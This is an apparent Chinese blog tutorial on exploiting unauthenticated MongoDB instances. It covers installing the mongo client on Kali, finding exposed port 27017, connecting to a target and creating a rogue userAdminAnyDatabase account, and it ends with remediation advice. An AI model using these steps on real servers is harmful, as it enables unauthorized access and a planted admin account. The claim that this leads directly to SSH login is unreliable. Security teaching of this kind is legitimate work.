MongoDB 未授权访问漏洞

news2025/1/16 8:49:58

简介

MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产品,它的特点是高性能、易部署、易使用,存储数据非常方便,默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致可以未授权登录。

实战

一、环境安装

当发现该端口对外开放时,使用MongoDB的shell工具mongo可以对未授权访问漏洞进行利用。

可以查看官方安装方法

https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian/

这边已经整理出kali中安装方法,安装该工具走了不少弯路,遇到各种环境问题。

1.导入MongoDB公共GPG密钥:

wget -qO - https://www.mongodb.org/static/pgp/server-5.0.asc | sudo apt-key add -

如果提示错误运行下面命令之后,重新运行上面命令

sudo apt-get install gnupg

2.创建一个列表文件来配置下载列表和下载源。

echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/5.0 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-5.0.list

3.重新加载更新源

sudo apt-get update

4.安装MongoDB的最新稳定版本

sudo apt-get install -y mongodb-org

5.启动进程

sudo systemctl start mongod

如果您在启动mongod时收到类似于以下内容的错误:

Failed to start mongod.service: Unit mongod.service not found.

首先运行以下命令:然后再次运行上面的开始命令,然后再次运行上面的开始命令。

sudo systemctl daemon-reload

6.配置开机自启

sudo systemctl enable mongod

二、漏洞利用

1.扫描或者fofa发现端口或者服务,默认端口27017
在这里插入图片描述
2.使用mongo连接数据库

命令格式:mongo --host 目标ip --port 目标端口
在这里插入图片描述
3.查看用户、数据库信息等
在这里插入图片描述
4.创建系统用户管理员创建一个用户名为myUserAdmin,密码为Passw0rd的系统用户管理员账号

#切换到admin库:
> use admin
switched to db admin
 
 
#创建用户
> db.createUser(
  {
    user: "myUserAdmin",
    pwd: "Passw0rd",
    roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
  }
)
 
 
#创建成功后提示信息:Successfully added user: {
    "user" : "myUserAdmin",
    "roles" : [
        {
            "role" : "userAdminAnyDatabase",
            "db" : "admin"
        }
    ]
}

5.ssh直接登录系统,利用完毕。

注:kali默认是没有安装mongo数据库连接工具的,需要自己手动安装。

三、漏洞修复

3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

1.如MongoDB只需在本地使用,建议只在本地开启监听服务。
2.如果仅对内网服务器提供服务,建议禁止将MongoDB服务发布到互联网上,并在主机上通过防火墙限制访问源IP。
3.启动基于角色的登录认证功能

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1104585.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NAND存储器转储分析 - 使用ECC修复位错误与UBI镜像固件分析

一、 简介 这篇研究论文将通过黑客的视角,详细阐述如何操作 NAND dump 以及如何获取 dump 文件中的所有文件。每一步骤以及所使用的方法均会细致解析,并配以实例说明。本文主要关注的是物理 NAND dump,这是从通用编程器中提取出的 dump 文件…

重磅!中科院1区TOP被踢?共7本被剔除!10月SCIE/SSCI期刊目录更新!

期刊动态:2023年10月SCI、SSCI期刊目录更新 2023年10月17日,科睿唯安更新了WOS期刊目录,继上次9月WOS期刊目录剔除7本SCIE&SSCI期刊之后,此次10月更新又有7本期刊发生变动,其中有5本SCIE期刊,1本SSCI期…

软键盘怎么打开?3招快速打开!

“我的键盘好像出现了一些问题,现在没法输入文字。听说电脑上有个工具叫软键盘,我想暂时先用这个来代替键盘。有什么方法可以把它打开的吗?” 软键盘是一个虚拟键盘,它不是物理键盘,而是出现在计算机屏幕上的可视化输入…

java的注解接口Target

java.lang.annotation.Target是Java中预定义的一个注解接口,用在注解接口的声明上,指明注解接口适用的上下文。 Target注解接口只有一个元素value,该元素的类型是java.lang.annotation.ElementType的数组,其中ElementType是一个枚…

vue使用pdf 导出当前页面,(jspdf, html2canvas )

需要安装两个插件 npm install html2canvas jspdfyarn add html2canvas jspdf<div class"app-container" id"pdfPage">我是内容 </div><el-button size"mini" click"onExportPdf">导出数据</el-button>onexp…

SAP MM物料移动取总账科目逻辑,debug 标准bapi BAPI_GOODSMVT_CREATE

debug 标准bapi BAPI_GOODSMVT_CREATE perform mb_create_goods_movement function MB_CREATE_GOODS_MOVEMENT function MB_CREATE_MATERIAL_DOCUMENT perform buchen_aufbereiten perform F-SEGMENTE_GENERIEREN perform f-segmente_erstellen perform f-segmente_erzeugen p…

C语言参悟-函数

C语言参悟-函数 一、概述二、函数1. 函数的构成2. 函数参数3. 函数名4. 函数返回值5. 函数的工作1. 程序栈2、栈帧的组织 三、函数递归四、函数指针 一、概述 首先&#xff0c;什么是函数&#xff1f;函数&#xff08;function&#xff09;是完成特定任务的独立程序代码单元。…

五金仓库管理员的工作内容

近几年来&#xff0c;很多企业会发现&#xff0c;经营增长的压力越来越大&#xff0c;主要原因包括外部局势的巨变&#xff0c;市场捉摸不定&#xff1b;企业之间竞争越来越剧烈&#xff0c;企业的利润空间不断被压缩&#xff1b;员工越来越个性化、多元化&#xff0c;管理困难…

文档外发控制与安全:实现高效协作与数据安全的关键

随着企业数据量的不断增加&#xff0c;文档外发成为了一个不可避免的需求。然而&#xff0c;很多企业在文档外发过程中存在着很多问题&#xff0c;如数据泄露、信息误用等。因此&#xff0c;如何保证文档外发的安全性和高效性成为了企业亟待解决的问题。飞驰云联Ftrans的文件收…

软件工程与计算(十四)详细设计中面向对象方法下的模块化

一.面向对象中的模块 1.类 模块化是消除软件复杂度的一个重要方法&#xff0c;每个代码片段相互独立&#xff0c;这样能够提高可维护性。在面向对象方法中&#xff0c;代码片段最重要的类&#xff0c;整个类的所有代码联合起来构成独立的代码片段。 模块化希望代码片段由两部…

以烟草行业为例,聊聊如何基于 PLC + OPC + TDengine,快速搭建工业生产监测系统

在烟草工业场景里&#xff0c;多数设备的自动控制都是通过 PLC 可编程逻辑控制器来实现的&#xff0c;PLC 再将采集的数据汇聚至 OPC 服务器。传统的 PI System、实时数据库、组态软件等与 OPC 相连&#xff0c;提供分析、可视化、报警等功能&#xff0c;这类系统存在一些问题&…

Tortoise SVN 察看本地缓存密码

1、打开设置&#xff08;Settings&#xff09; 2、查看保存的数据 3、打开鉴权数据 4、查看密码 CTRLSHIFT双击表格&#xff0c;就会出现一列密码列 &#xff08;我的是Mac PD虚拟Win11&#xff0c;CTRLSHIFTOPTION双击表格&#xff09; 原文见这里&#xff1a; Recover SVN …

解密新一代商业智能软件百度GBI,看看它有多牛!

10月17日&#xff0c;2023百度世界大会开幕了&#xff0c;大家都关注了吗&#xff1f;本次大会上发布了关于商业智能&#xff08;Business Intelligence&#xff09;的工具百度GBI。那么首先给大家列出2022年全球商业智能(BI)和分析平台市场的相关数据&#xff1a; 总规模&…

HTML 常用标签及练习

常用标签 <head>中的标签 概述 head中的内容不显示到页面上 标签说明<title>定义网页的标题<meta>定义网页的基本信息&#xff08;供搜索引擎&#xff09;<style>定义CSS样式<link>链接外部CSS文件或脚本文件<script>定义脚本语言<…

Docker逃逸---CVE-2019-5736浅析

一、产生原因 Docker执行命令时&#xff0c;先向镜像管理的containerd发送gRPC请求&#xff0c;containerd收到请求后&#xff0c;再发送给具体的容器管理containerd-shim&#xff0c;shim根据OCI协议将命令发送给runc执行&#xff0c;所以实际上执行命令的是runc 漏洞大概意思…

C++ Eigen 矩阵运算

文章目录 1 Eigen的安装与CMakeLists.txt的编写1.1、Eigen的安装1.2、Eigen的CMakeLists.txt编写1.3、版本查看 2、Eigen的头文件3、Eigen的基础3.1 Eigen初始化3.1.1 一些常用的初始化方法 3.2 矩阵大小3.3 Eigen矩阵类3.4 Eigen矩阵的创建4 Eigen的Array类4.1 Array的初始化4…

JavaScript爬虫程序实现自动化爬取tiktok数据教程

以下是一个使用 request-promise 和 JavaScript 的爬虫程序&#xff0c;用于爬取tiktok的内容。此程序使用了 https://www.duoip.cn/get_proxy 这段代码。 // 引入 request-promise 库 const rp require(request-promise);// 定义 get\_proxy 函数 function get_proxy() {retu…

千兆光模块存在哪些局限性

千兆光模块是目前使用最广泛的光模块之一&#xff0c;可以实现1Gbps的传输速度。随着科技的进步和应用场景的多样性&#xff0c;千兆光模块也因其固有的局限性而面临越来越多的挑战。以下是千兆光模块的局限性和如何克服这些局限性的讨论&#xff1a; 千兆光模块可以实现最大…

钻井平台升降装置锁紧液压系统比例阀放大器

钻井平台升降装置锁紧液压系统为钻井平台桩腿的锁紧装置提供动力&#xff0c;通过液压马达驱动垂直布置的上下螺杆传动装置的伸缩&#xff0c;使锁紧齿条和桩腿上的弦管齿条啮合和分离&#xff0c;实现平台的锁紧、负载转移、均载和解锁。

05 依赖倒置原则

官方定义&#xff1a; 依赖倒置原则&#xff08;Dependence Inversion Principle&#xff0c;DIP&#xff09;是指在设计代码架构 时&#xff0c;高层模块不应该依赖于底层模块&#xff0c;二者都应该依赖于抽象。抽象不应该依 赖于细节&#xff0c;细节应该依赖于抽象。 通俗…